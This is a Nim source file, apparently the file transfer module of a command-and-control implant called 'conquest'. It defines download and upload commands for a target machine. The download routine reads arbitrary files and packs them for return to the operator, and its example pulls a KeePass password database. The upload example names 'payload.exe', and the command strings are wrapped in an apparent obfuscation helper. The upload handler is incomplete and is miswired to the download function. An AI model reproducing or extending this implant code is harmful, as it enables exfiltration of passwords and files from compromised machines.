Files
conquest/src/modules/filetransfer.nim
2025-09-01 19:45:39 +02:00

78 lines
2.6 KiB
Nim

import ../common/[types, utils]
# Define function prototype
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
Command(
name: protect("download"),
commandType: CMD_DOWNLOAD,
description: protect("Download a file."),
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
arguments: @[
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
],
execute: executeDownload
),
Command(
name: protect("upload"),
commandType: CMD_UPLOAD,
description: protect("Upload a file."),
example: protect("upload /path/to/payload.exe"),
arguments: @[
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
],
execute: executeDownload
)
]
# Implement execution functions
when defined(server):
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = nil
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import os, std/paths, strutils, strformat
import ../agent/protocol/result
import ../common/[utils, serialize]
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult =
try:
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
echo fmt" [>] Downloading {filePath}"
# Read file contents into memory and return them as the result
var fileBytes = readFile(filePath)
# Create result packet for file download
var packer = Packer.init()
packer.add(uint32(filePath.len()))
packer.addData(string.toBytes(filePath))
packer.add(uint32(fileBytes.len()))
packer.addData(string.toBytes(fileBytes))
let result = packer.pack()
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult =
try:
var fileBytes: seq[byte] = task.args[0].data
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))